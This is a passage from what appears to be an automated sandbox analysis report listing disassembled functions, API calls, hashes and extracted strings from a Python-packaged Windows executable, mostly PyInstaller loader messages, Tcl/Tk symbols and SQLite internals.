                                                                                                                                                                                                                                          • GetProcAddress.KERNEL32(?,00007FF79D0564BF,?,00007FF79D05336E), ref: 00007FF79D055830
                                                                                                                                                                                                                                          • GetLastError.KERNEL32(?,00007FF79D0564BF,?,00007FF79D05336E), ref: 00007FF79D055842
                                                                                                                                                                                                                                          • GetProcAddress.KERNEL32(?,00007FF79D0564BF,?,00007FF79D05336E), ref: 00007FF79D055879
                                                                                                                                                                                                                                          • GetLastError.KERNEL32(?,00007FF79D0564BF,?,00007FF79D05336E), ref: 00007FF79D05588B
                                                                                                                                                                                                                                          • GetProcAddress.KERNEL32(?,00007FF79D0564BF,?,00007FF79D05336E), ref: 00007FF79D0558A4
                                                                                                                                                                                                                                          • GetLastError.KERNEL32(?,00007FF79D0564BF,?,00007FF79D05336E), ref: 00007FF79D0558B6
                                                                                                                                                                                                                                          • GetProcAddress.KERNEL32(?,00007FF79D0564BF,?,00007FF79D05336E), ref: 00007FF79D0558CF
                                                                                                                                                                                                                                          • GetLastError.KERNEL32(?,00007FF79D0564BF,?,00007FF79D05336E), ref: 00007FF79D0558E1
                                                                                                                                                                                                                                          • GetProcAddress.KERNEL32(?,00007FF79D0564BF,?,00007FF79D05336E), ref: 00007FF79D0558FD
                                                                                                                                                                                                                                          • GetLastError.KERNEL32(?,00007FF79D0564BF,?,00007FF79D05336E), ref: 00007FF79D05590F
                                                                                                                                                                                                                                          • GetProcAddress.KERNEL32(?,00007FF79D0564BF,?,00007FF79D05336E), ref: 00007FF79D05592B
                                                                                                                                                                                                                                          • GetLastError.KERNEL32(?,00007FF79D0564BF,?,00007FF79D05336E), ref: 00007FF79D05593D
                                                                                                                                                                                                                                          • GetProcAddress.KERNEL32(?,00007FF79D0564BF,?,00007FF79D05336E), ref: 00007FF79D055959
                                                                                                                                                                                                                                          • GetLastError.KERNEL32(?,00007FF79D0564BF,?,00007FF79D05336E), ref: 00007FF79D05596B
                                                                                                                                                                                                                                          • GetProcAddress.KERNEL32(?,00007FF79D0564BF,?,00007FF79D05336E), ref: 00007FF79D055987
                                                                                                                                                                                                                                          • GetLastError.KERNEL32(?,00007FF79D0564BF,?,00007FF79D05336E), ref: 00007FF79D055999
                                                                                                                                                                                                                                          • GetProcAddress.KERNEL32(?,00007FF79D0564BF,?,00007FF79D05336E), ref: 00007FF79D0559B5
                                                                                                                                                                                                                                          • GetLastError.KERNEL32(?,00007FF79D0564BF,?,00007FF79D05336E), ref: 00007FF79D0559C7
                                                                                                                                                                                                                                          Strings
                                                                                                                                                                                                                                          Memory Dump Source
                                                                                                                                                                                                                                          • Source File: 00000002.00000002.2280422493.00007FF79D051000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF79D050000, based on PE: true
                                                                                                                                                                                                                                          • Associated: 00000002.00000002.2280375625.00007FF79D050000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                          • Associated: 00000002.00000002.2280458634.00007FF79D07B000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                          • Associated: 00000002.00000002.2280490510.00007FF79D08E000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                          • Associated: 00000002.00000002.2280490510.00007FF79D091000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                          • Associated: 00000002.00000002.2280720027.00007FF79D094000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                          Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                          • Snapshot File: hcaresult_2_2_7ff79d050000_riFSkYVMKB.jbxd
                                                                                                                                                                                                                                          Similarity
                                                                                                                                                                                                                                          • API ID: AddressErrorLastProc
                                                                                                                                                                                                                                          • String ID: Failed to get address for %hs$GetProcAddress$PyConfig_Clear$PyConfig_InitIsolatedConfig$PyConfig_Read$PyConfig_SetBytesString$PyConfig_SetString$PyConfig_SetWideStringList$PyErr_Clear$PyErr_Fetch$PyErr_NormalizeException$PyErr_Occurred$PyErr_Print$PyErr_Restore$PyEval_EvalCode$PyImport_AddModule$PyImport_ExecCodeModule$PyImport_ImportModule$PyMarshal_ReadObjectFromString$PyMem_RawFree$PyModule_GetDict$PyObject_CallFunction$PyObject_CallFunctionObjArgs$PyObject_GetAttrString$PyObject_SetAttrString$PyObject_Str$PyPreConfig_InitIsolatedConfig$PyRun_SimpleStringFlags$PyStatus_Exception$PySys_GetObject$PySys_SetObject$PyUnicode_AsUTF8$PyUnicode_Decode$PyUnicode_DecodeFSDefault$PyUnicode_FromFormat$PyUnicode_FromString$PyUnicode_Join$PyUnicode_Replace$Py_DecRef$Py_DecodeLocale$Py_ExitStatusException$Py_Finalize$Py_InitializeFromConfig$Py_IsInitialized$Py_PreInitialize
                                                                                                                                                                                                                                          • API String ID: 199729137-653951865
                                                                                                                                                                                                                                          • Opcode ID: 3ca4f2c8e8fa74ff45c561f9825c8e8d27386d4e804e1314c270c66bff6859f6
                                                                                                                                                                                                                                          • Instruction ID: e766a93c55791568b66ab9beec1de3bf037c79c4cac3c86d28ccb56372543055
                                                                                                                                                                                                                                          • Opcode Fuzzy Hash: 3ca4f2c8e8fa74ff45c561f9825c8e8d27386d4e804e1314c270c66bff6859f6
                                                                                                                                                                                                                                          • Instruction Fuzzy Hash: 9A227E24E0DB07D1FA75BF7EAC181B8A3A1AF14755BC45035C89E1A3A0FF7CA54882A5
                                                                                                                                                                                                                                          Function 00007FF79D0576B0 Relevance: 177.1, APIs: 66, Strings: 35, Instructions: 314libraryloaderCOMMON
                                                                                                                                                                                                                                          Download Yara Rule
                                                                                                                                                                                                                                          APIs
                                                                                                                                                                                                                                          Strings
                                                                                                                                                                                                                                          Memory Dump Source
                                                                                                                                                                                                                                          • Source File: 00000002.00000002.2280422493.00007FF79D051000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF79D050000, based on PE: true
                                                                                                                                                                                                                                          • Associated: 00000002.00000002.2280375625.00007FF79D050000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                          • Associated: 00000002.00000002.2280458634.00007FF79D07B000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                          • Associated: 00000002.00000002.2280490510.00007FF79D08E000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                          • Associated: 00000002.00000002.2280490510.00007FF79D091000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                          • Associated: 00000002.00000002.2280720027.00007FF79D094000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                          Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                          • Snapshot File: hcaresult_2_2_7ff79d050000_riFSkYVMKB.jbxd
                                                                                                                                                                                                                                          Similarity
                                                                                                                                                                                                                                          • API ID: AddressErrorLastProc
                                                                                                                                                                                                                                          • String ID: Failed to get address for %hs$GetProcAddress$Tcl_Alloc$Tcl_ConditionFinalize$Tcl_ConditionNotify$Tcl_ConditionWait$Tcl_CreateInterp$Tcl_CreateObjCommand$Tcl_CreateThread$Tcl_DeleteInterp$Tcl_DoOneEvent$Tcl_EvalEx$Tcl_EvalFile$Tcl_EvalObjv$Tcl_Finalize$Tcl_FinalizeThread$Tcl_FindExecutable$Tcl_Free$Tcl_GetCurrentThread$Tcl_GetObjResult$Tcl_GetString$Tcl_GetVar2$Tcl_Init$Tcl_JoinThread$Tcl_MutexFinalize$Tcl_MutexLock$Tcl_MutexUnlock$Tcl_NewByteArrayObj$Tcl_NewStringObj$Tcl_SetVar2$Tcl_SetVar2Ex$Tcl_ThreadAlert$Tcl_ThreadQueueEvent$Tk_GetNumMainWindows$Tk_Init
                                                                                                                                                                                                                                          • API String ID: 199729137-3427451314
                                                                                                                                                                                                                                          • Opcode ID: 0a662de07e299f73dada83b080b335429a490c7fb48c0bc5bb894b33d2b2cc2e
                                                                                                                                                                                                                                          • Instruction ID: ab6c89e8f38e7700b669e7277e5604736fe2dd951e7e1d94640eaef0088db598
                                                                                                                                                                                                                                          • Opcode Fuzzy Hash: 0a662de07e299f73dada83b080b335429a490c7fb48c0bc5bb894b33d2b2cc2e
                                                                                                                                                                                                                                          • Instruction Fuzzy Hash: 2F02AF28A0DB0BD1EA35BB7EAC145B8A3A5BF44755BC40035D89E1A3A4FF3CB5489371
                                                                                                                                                                                                                                          Function 00007FF79D0581C0 Relevance: 24.6, APIs: 6, Strings: 8, Instructions: 117COMMON
                                                                                                                                                                                                                                          Download Yara Rule
                                                                                                                                                                                                                                          APIs
                                                                                                                                                                                                                                            • Part of subcall function 00007FF79D059400: MultiByteToWideChar.KERNEL32(?,?,?,00007FF79D0545E4,00000000,00007FF79D051985), ref: 00007FF79D059439
                                                                                                                                                                                                                                          • ExpandEnvironmentStringsW.KERNEL32(?,00007FF79D0588A7,?,?,00000000,00007FF79D053CBB), ref: 00007FF79D05821C
                                                                                                                                                                                                                                            • Part of subcall function 00007FF79D052810: MessageBoxW.USER32 ref: 00007FF79D0528EA
                                                                                                                                                                                                                                          Strings
                                                                                                                                                                                                                                          Memory Dump Source
                                                                                                                                                                                                                                          • Source File: 00000002.00000002.2280422493.00007FF79D051000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF79D050000, based on PE: true
                                                                                                                                                                                                                                          • Associated: 00000002.00000002.2280375625.00007FF79D050000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                          • Associated: 00000002.00000002.2280458634.00007FF79D07B000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                          • Associated: 00000002.00000002.2280490510.00007FF79D08E000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                          • Associated: 00000002.00000002.2280490510.00007FF79D091000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                          • Associated: 00000002.00000002.2280720027.00007FF79D094000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                          Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                          • Snapshot File: hcaresult_2_2_7ff79d050000_riFSkYVMKB.jbxd
                                                                                                                                                                                                                                          Similarity
                                                                                                                                                                                                                                          • API ID: ByteCharEnvironmentExpandMessageMultiStringsWide
                                                                                                                                                                                                                                          • String ID: %.*s$CreateDirectory$LOADER: failed to convert runtime-tmpdir to a wide string.$LOADER: failed to create runtime-tmpdir path %ls!$LOADER: failed to expand environment variables in the runtime-tmpdir.$LOADER: failed to obtain the absolute path of the runtime-tmpdir.$LOADER: runtime-tmpdir points to non-existent drive %ls (type: %d)!$\
                                                                                                                                                                                                                                          • API String ID: 1662231829-930877121
                                                                                                                                                                                                                                          • Opcode ID: 6e1db7188d29f55993033d39f9d092d149d7f4b46b4bc38197dd47a6e93f4cef
                                                                                                                                                                                                                                          • Instruction ID: 0821e29555e82ae92c92f24d239f0300f025648da1cd2c8309425a8d5e6cc962
                                                                                                                                                                                                                                          • Opcode Fuzzy Hash: 6e1db7188d29f55993033d39f9d092d149d7f4b46b4bc38197dd47a6e93f4cef
                                                                                                                                                                                                                                          • Instruction Fuzzy Hash: BC516311A1DA4281EB70FB7EE8526BAE250EF94780FC44431EE8E46795FE2CE505C770
                                                                                                                                                                                                                                          Function 00007FF79D051600 Relevance: 22.9, APIs: 1, Strings: 12, Instructions: 145COMMON
                                                                                                                                                                                                                                          Download Yara Rule
                                                                                                                                                                                                                                          Strings
                                                                                                                                                                                                                                          Memory Dump Source
                                                                                                                                                                                                                                          • Source File: 00000002.00000002.2280422493.00007FF79D051000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF79D050000, based on PE: true
                                                                                                                                                                                                                                          • Associated: 00000002.00000002.2280375625.00007FF79D050000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                          • Associated: 00000002.00000002.2280458634.00007FF79D07B000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                          • Associated: 00000002.00000002.2280490510.00007FF79D08E000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                          • Associated: 00000002.00000002.2280490510.00007FF79D091000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                          • Associated: 00000002.00000002.2280720027.00007FF79D094000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                          Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                          • Snapshot File: hcaresult_2_2_7ff79d050000_riFSkYVMKB.jbxd
                                                                                                                                                                                                                                          Similarity
                                                                                                                                                                                                                                          • API ID: CurrentProcess
                                                                                                                                                                                                                                          • String ID: Failed to create symbolic link %s!$Failed to extract %s: failed to allocate temporary buffer!$Failed to extract %s: failed to open archive file!$Failed to extract %s: failed to open target file!$Failed to extract %s: failed to read data chunk!$Failed to extract %s: failed to seek to the entry's data!$Failed to extract %s: failed to write data chunk!$fopen$fread$fseek$fwrite$malloc
                                                                                                                                                                                                                                          • API String ID: 2050909247-1550345328
                                                                                                                                                                                                                                          • Opcode ID: 2fab9f9b358429f9c6d6c453639e8040539c2d69f0e9d6977149a85793ebbc1d
                                                                                                                                                                                                                                          • Instruction ID: e69d45124f1c67bc5337706523340b48c7a9e7e03cbe9ce5f7e8110bb8fc5f1e
                                                                                                                                                                                                                                          • Opcode Fuzzy Hash: 2fab9f9b358429f9c6d6c453639e8040539c2d69f0e9d6977149a85793ebbc1d
                                                                                                                                                                                                                                          • Instruction Fuzzy Hash: 29517A61B0CA4792EA30BB7AA8001B9A3A0FF44794FC44635EE9C07796FE3CE555C361
                                                                                                                                                                                                                                          Function 00007FFD9414D610 Relevance: 17.9, APIs: 1, Strings: 9, Instructions: 386COMMON
                                                                                                                                                                                                                                          Download Yara Rule
                                                                                                                                                                                                                                          Strings
                                                                                                                                                                                                                                          Memory Dump Source
                                                                                                                                                                                                                                          • Source File: 00000002.00000002.2283494256.00007FFD940D1000.00000040.00000001.01000000.0000000B.sdmp, Offset: 00007FFD940D0000, based on PE: true
                                                                                                                                                                                                                                          • Associated: 00000002.00000002.2283450258.00007FFD940D0000.00000002.00000001.01000000.0000000B.sdmpDownload File
                                                                                                                                                                                                                                          • Associated: 00000002.00000002.2283494256.00007FFD94231000.00000040.00000001.01000000.0000000B.sdmpDownload File
                                                                                                                                                                                                                                          • Associated: 00000002.00000002.2283494256.00007FFD94233000.00000040.00000001.01000000.0000000B.sdmpDownload File
                                                                                                                                                                                                                                          • Associated: 00000002.00000002.2283494256.00007FFD94248000.00000040.00000001.01000000.0000000B.sdmpDownload File
                                                                                                                                                                                                                                          • Associated: 00000002.00000002.2284223881.00007FFD9424A000.00000080.00000001.01000000.0000000B.sdmpDownload File
                                                                                                                                                                                                                                          • Associated: 00000002.00000002.2284334350.00007FFD9424C000.00000004.00000001.01000000.0000000B.sdmpDownload File
                                                                                                                                                                                                                                          Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                          • Snapshot File: hcaresult_2_2_7ffd940d0000_riFSkYVMKB.jbxd
                                                                                                                                                                                                                                          Similarity
                                                                                                                                                                                                                                          • API ID:
                                                                                                                                                                                                                                          • String ID: %s.%s$_init$error during initialization: %s$lib$no entry point [%s] in shared library [%s]$not authorized$sqlite3_$sqlite3_extension_init$unable to open shared library [%.*s]
                                                                                                                                                                                                                                          • API String ID: 0-3733955532
                                                                                                                                                                                                                                          • Opcode ID: 4828297cf84a1580d1be4d8346d77b2af936a330775195fb116fcdeafb873839
                                                                                                                                                                                                                                          • Instruction ID: 0e518d124e97ed3bda8f13f84de896fc02579fc13523d57ea4182619a4182009
                                                                                                                                                                                                                                          • Opcode Fuzzy Hash: 4828297cf84a1580d1be4d8346d77b2af936a330775195fb116fcdeafb873839
                                                                                                                                                                                                                                          • Instruction Fuzzy Hash: DE028062B19A8381EE758B91A4B43B963A0FF87F85F18C135DE4E1669ADF3DE504C300
                                                                                                                                                                                                                                          Function 00007FFD9410B0C0 Relevance: 17.8, APIs: 2, Strings: 8, Instructions: 330COMMON
                                                                                                                                                                                                                                          Download Yara Rule
                                                                                                                                                                                                                                          APIs
                                                                                                                                                                                                                                          • 00007FFDA4173010.VCRUNTIME140(?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 00007FFD9410B1C3
                                                                                                                                                                                                                                          • 00007FFDA4173010.VCRUNTIME140(?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 00007FFD9410B2A4
                                                                                                                                                                                                                                          Strings
                                                                                                                                                                                                                                          Memory Dump Source
                                                                                                                                                                                                                                          • Source File: 00000002.00000002.2283494256.00007FFD940D1000.00000040.00000001.01000000.0000000B.sdmp, Offset: 00007FFD940D0000, based on PE: true
                                                                                                                                                                                                                                          • Associated: 00000002.00000002.2283450258.00007FFD940D0000.00000002.00000001.01000000.0000000B.sdmpDownload File
                                                                                                                                                                                                                                          • Associated: 00000002.00000002.2283494256.00007FFD94231000.00000040.00000001.01000000.0000000B.sdmpDownload File
                                                                                                                                                                                                                                          • Associated: 00000002.00000002.2283494256.00007FFD94233000.00000040.00000001.01000000.0000000B.sdmpDownload File
                                                                                                                                                                                                                                          • Associated: 00000002.00000002.2283494256.00007FFD94248000.00000040.00000001.01000000.0000000B.sdmpDownload File
                                                                                                                                                                                                                                          • Associated: 00000002.00000002.2284223881.00007FFD9424A000.00000080.00000001.01000000.0000000B.sdmpDownload File
                                                                                                                                                                                                                                          • Associated: 00000002.00000002.2284334350.00007FFD9424C000.00000004.00000001.01000000.0000000B.sdmpDownload File
                                                                                                                                                                                                                                          Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                          • Snapshot File: hcaresult_2_2_7ffd940d0000_riFSkYVMKB.jbxd
                                                                                                                                                                                                                                          Similarity
                                                                                                                                                                                                                                          • API ID: 00007A4173010
                                                                                                                                                                                                                                          • String ID: %!.15g$%02x$%lld$'%.*q'$-- $?$NULL$zeroblob(%d)
                                                                                                                                                                                                                                          • API String ID: 1436585979-875588658
                                                                                                                                                                                                                                          • Opcode ID: 2f58605a80ece0dbe873986359c22506b80aa05e97296c1e5264f92375f5e100
                                                                                                                                                                                                                                          • Instruction ID: c7ae93f07f97952b5f6d47cc545412dd130e5a77530152a0dff9f1ccac07c92b
                                                                                                                                                                                                                                          • Opcode Fuzzy Hash: 2f58605a80ece0dbe873986359c22506b80aa05e97296c1e5264f92375f5e100
                                                                                                                                                                                                                                          • Instruction Fuzzy Hash: FEE16163F0865689FB31CBE4D4A07BC27A1AB06758F048135DE5E76A9ADF3CE589C340
                                                                                                                                                                                                                                          Function 00007FFD94127760 Relevance: 17.8, APIs: 1, Strings: 9, Instructions: 327COMMON
                                                                                                                                                                                                                                          Download Yara Rule
                                                                                                                                                                                                                                          APIs
                                                                                                                                                                                                                                          Strings
                                                                                                                                                                                                                                          • Cannot add a NOT NULL column with default value NULL, xrefs: 00007FFD9412790F
                                                                                                                                                                                                                                          • cannot add a STORED column, xrefs: 00007FFD94127A72
                                                                                                                                                                                                                                          • SELECT CASE WHEN quick_check GLOB 'CHECK*' THEN raise(ABORT,'CHECK constraint failed') WHEN quick_check GLOB 'non-* value in*' THEN raise(ABORT,'type mismatch on DEFAULT') ELSE raise(ABORT,'NOT NULL constraint failed') END FROM pragma_quick_check(%Q,%Q) WHERE, xrefs: 00007FFD94127C5C
                                                                                                                                                                                                                                          • UPDATE "%w".sqlite_master SET sql = printf('%%.%ds, ',sql) || %Q || substr(sql,1+length(printf('%%.%ds',sql))) WHERE type = 'table' AND name = %Q, xrefs: 00007FFD94127B14
                                                                                                                                                                                                                                          • Cannot add a PRIMARY KEY column, xrefs: 00007FFD94127881
                                                                                                                                                                                                                                          • Cannot add a REFERENCES column with non-NULL default value, xrefs: 00007FFD941278ED
                                                                                                                                                                                                                                          • Cannot add a column with non-constant default, xrefs: 00007FFD94127969
                                                                                                                                                                                                                                          • SELECT raise(ABORT,%Q) FROM "%w"."%w", xrefs: 00007FFD941278F7, 00007FFD94127973, 00007FFD94127A81
                                                                                                                                                                                                                                          • Cannot add a UNIQUE column, xrefs: 00007FFD9412789C
                                                                                                                                                                                                                                          Memory Dump Source
                                                                                                                                                                                                                                          • Source File: 00000002.00000002.2283494256.00007FFD940D1000.00000040.00000001.01000000.0000000B.sdmp, Offset: 00007FFD940D0000, based on PE: true
                                                                                                                                                                                                                                          • Associated: 00000002.00000002.2283450258.00007FFD940D0000.00000002.00000001.01000000.0000000B.sdmpDownload File
                                                                                                                                                                                                                                          • Associated: 00000002.00000002.2283494256.00007FFD94231000.00000040.00000001.01000000.0000000B.sdmpDownload File
                                                                                                                                                                                                                                          • Associated: 00000002.00000002.2283494256.00007FFD94233000.00000040.00000001.01000000.0000000B.sdmpDownload File
                                                                                                                                                                                                                                          • Associated: 00000002.00000002.2283494256.00007FFD94248000.00000040.00000001.01000000.0000000B.sdmpDownload File
                                                                                                                                                                                                                                          • Associated: 00000002.00000002.2284223881.00007FFD9424A000.00000080.00000001.01000000.0000000B.sdmpDownload File
                                                                                                                                                                                                                                          • Associated: 00000002.00000002.2284334350.00007FFD9424C000.00000004.00000001.01000000.0000000B.sdmpDownload File
                                                                                                                                                                                                                                          Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                          • Snapshot File: hcaresult_2_2_7ffd940d0000_riFSkYVMKB.jbxd
                                                                                                                                                                                                                                          Similarity
                                                                                                                                                                                                                                          • API ID: 00007A4173010
                                                                                                                                                                                                                                          • String ID: Cannot add a NOT NULL column with default value NULL$Cannot add a PRIMARY KEY column$Cannot add a REFERENCES column with non-NULL default value$Cannot add a UNIQUE column$Cannot add a column with non-constant default$SELECT CASE WHEN quick_check GLOB 'CHECK*' THEN raise(ABORT,'CHECK constraint failed') WHEN quick_check GLOB 'non-* value in*' THEN raise(ABORT,'type mismatch on DEFAULT') ELSE raise(ABORT,'NOT NULL constraint failed') END FROM pragma_quick_check(%Q,%Q) WHERE$SELECT raise(ABORT,%Q) FROM "%w"."%w"$UPDATE "%w".sqlite_master SET sql = printf('%%.%ds, ',sql) || %Q || substr(sql,1+length(printf('%%.%ds',sql))) WHERE type = 'table' AND name = %Q$cannot add a STORED column
                                                                                                                                                                                                                                          • API String ID: 1436585979-200680935
                                                                                                                                                                                                                                          • Opcode ID: 5b4710b465af85f28d42b2c529d5cd9f71a28c578942a5c84c3729e8c5c3be64
                                                                                                                                                                                                                                          • Instruction ID: a5650c2e5ea5ec8d1ad0e446a5a8f5e5ef2e4cc028d10b809bbfc269492942e6
                                                                                                                                                                                                                                          • Opcode Fuzzy Hash: 5b4710b465af85f28d42b2c529d5cd9f71a28c578942a5c84c3729e8c5c3be64
                                                                                                                                                                                                                                          • Instruction Fuzzy Hash: F2E1C222B08B8286EB358B95A1E437A23A1FB46BD4F048135DE5D67797DF3DE551C300
                                                                                                                                                                                                                                          Function 00007FF79D052180 Relevance: 17.6, APIs: 9, Strings: 1, Instructions: 120COMMON
                                                                                                                                                                                                                                          Download Yara Rule
                                                                                                                                                                                                                                          APIs
                                                                                                                                                                                                                                          Strings
                                                                                                                                                                                                                                          Memory Dump Source
                                                                                                                                                                                                                                          • Source File: 00000002.00000002.2280422493.00007FF79D051000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF79D050000, based on PE: true
                                                                                                                                                                                                                                          • Associated: 00000002.00000002.2280375625.00007FF79D050000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                          • Associated: 00000002.00000002.2280458634.00007FF79D07B000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                          • Associated: 00000002.00000002.2280490510.00007FF79D08E000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                          • Associated: 00000002.00000002.2280490510.00007FF79D091000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                          • Associated: 00000002.00000002.2280720027.00007FF79D094000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                          Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                          • Snapshot File: hcaresult_2_2_7ff79d050000_riFSkYVMKB.jbxd
                                                                                                                                                                                                                                          Similarity
                                                                                                                                                                                                                                          • API ID: MoveWindow$ObjectSelect$DrawReleaseText
                                                                                                                                                                                                                                          • String ID: P%
                                                                                                                                                                                                                                          • API String ID: 2147705588-2959514604
                                                                                                                                                                                                                                          • Opcode ID: 044398bc2faddcfc72e28419b1c607044beef288ba0900b5e0371f537bcab75f
                                                                                                                                                                                                                                          • Instruction ID: 6a494f9d9a14140de7cebd826dad647bb3b61d2bd451b45d38a1bb6fb3dfb4c9
                                                                                                                                                                                                                                          • Opcode Fuzzy Hash: 044398bc2faddcfc72e28419b1c607044beef288ba0900b5e0371f537bcab75f
                                                                                                                                                                                                                                          • Instruction Fuzzy Hash: 6651E8266087A186D6349F36E4181BAF7A1FB98B65F404125EFDE43794EF3CD085DB20
                                                                                                                                                                                                                                          Function 00007FF79D0580B0 Relevance: 17.6, APIs: 9, Strings: 1, Instructions: 67COMMON
                                                                                                                                                                                                                                          Download Yara Rule
                                                                                                                                                                                                                                          APIs
                                                                                                                                                                                                                                          Strings
                                                                                                                                                                                                                                          Memory Dump Source
                                                                                                                                                                                                                                          • Source File: 00000002.00000002.2280422493.00007FF79D051000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF79D050000, based on PE: true
                                                                                                                                                                                                                                          • Associated: 00000002.00000002.2280375625.00007FF79D050000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                          • Associated: 00000002.00000002.2280458634.00007FF79D07B000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                          • Associated: 00000002.00000002.2280490510.00007FF79D08E000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                          • Associated: 00000002.00000002.2280490510.00007FF79D091000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                          • Associated: 00000002.00000002.2280720027.00007FF79D094000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                          Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                          • Snapshot File: hcaresult_2_2_7ff79d050000_riFSkYVMKB.jbxd
                                                                                                                                                                                                                                          Similarity
                                                                                                                                                                                                                                          • API ID: LongWindow$BlockCreateErrorLastReasonShutdown
                                                                                                                                                                                                                                          • String ID: Needs to remove its temporary files.
                                                                                                                                                                                                                                          • API String ID: 3975851968-2863640275
                                                                                                                                                                                                                                          • Opcode ID: 1b4b32be61da5f45784fe9fe2f7d724fb74bbaf2a32eb33803c40e4204126e7e
                                                                                                                                                                                                                                          • Instruction ID: da71b4b282cf82e13a9338fd41cd0e126fbc1979c5be8d86222b29e437ecbab9
                                                                                                                                                                                                                                          • Opcode Fuzzy Hash: 1b4b32be61da5f45784fe9fe2f7d724fb74bbaf2a32eb33803c40e4204126e7e
                                                                                                                                                                                                                                          • Instruction Fuzzy Hash: 11218321B0CA4282E765AB7EAC59179A254FF88B90FD84231DEAD473D4FE2CD5908320
                                                                                                                                                                                                                                          Function 00007FFD938F2940 Relevance: 15.2, APIs: 10, Instructions: 227COMMON
                                                                                                                                                                                                                                          Download Yara Rule
                                                                                                                                                                                                                                          APIs
                                                                                                                                                                                                                                          Memory Dump Source
                                                                                                                                                                                                                                          • Source File: 00000002.00000002.2280851953.00007FFD938F1000.00000040.00000001.01000000.00000013.sdmp, Offset: 00007FFD938F0000, based on PE: true
                                                                                                                                                                                                                                          • Associated: 00000002.00000002.2280801321.00007FFD938F0000.00000002.00000001.01000000.00000013.sdmpDownload File
                                                                                                                                                                                                                                          • Associated: 00000002.00000002.2280851953.00007FFD9393A000.00000040.00000001.01000000.00000013.sdmpDownload File
                                                                                                                                                                                                                                          • Associated: 00000002.00000002.2280851953.00007FFD93948000.00000040.00000001.01000000.00000013.sdmpDownload File
                                                                                                                                                                                                                                          • Associated: 00000002.00000002.2280851953.00007FFD93997000.00000040.00000001.01000000.00000013.sdmpDownload File
                                                                                                                                                                                                                                          • Associated: 00000002.00000002.2280851953.00007FFD9399C000.00000040.00000001.01000000.00000013.sdmpDownload File
                                                                                                                                                                                                                                          • Associated: 00000002.00000002.2280851953.00007FFD9399F000.00000040.00000001.01000000.00000013.sdmpDownload File
                                                                                                                                                                                                                                          • Associated: 00000002.00000002.2281451526.00007FFD939A0000.00000080.00000001.01000000.00000013.sdmpDownload File
                                                                                                                                                                                                                                          • Associated: 00000002.00000002.2281502528.00007FFD939A2000.00000004.00000001.01000000.00000013.sdmpDownload File
                                                                                                                                                                                                                                          Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                          • Snapshot File: hcaresult_2_2_7ffd938f0000_riFSkYVMKB.jbxd
                                                                                                                                                                                                                                          Similarity
                                                                                                                                                                                                                                          • API ID: Initialize__scrt_acquire_startup_lock__scrt_dllmain_after_initialize_c__scrt_dllmain_crt_thread_attach__scrt_release_startup_lock
                                                                                                                                                                                                                                          • String ID:
                                                                                                                                                                                                                                          • API String ID: 190073905-0
                                                                                                                                                                                                                                          • Opcode ID: bfa090c531bac24e46e178867b034455b2b04e74abd31691ae896f8f055f72f8
                                                                                                                                                                                                                                          • Instruction ID: 4dda58cd6364aa6195236d148ebfc5982efd423a4e641bd5a653d0216e07b6d8
                                                                                                                                                                                                                                          • Opcode Fuzzy Hash: bfa090c531bac24e46e178867b034455b2b04e74abd31691ae896f8f055f72f8
                                                                                                                                                                                                                                          • Instruction Fuzzy Hash: 2181FF28F1C24386FA74ABE594712B922D9AF85780F988235D90C77396DF3FEC458780
                                                                                                                                                                                                                                          Function 00007FF79D066300 Relevance: 14.5, APIs: 3, Strings: 5, Instructions: 494COMMON
                                                                                                                                                                                                                                          Download Yara Rule
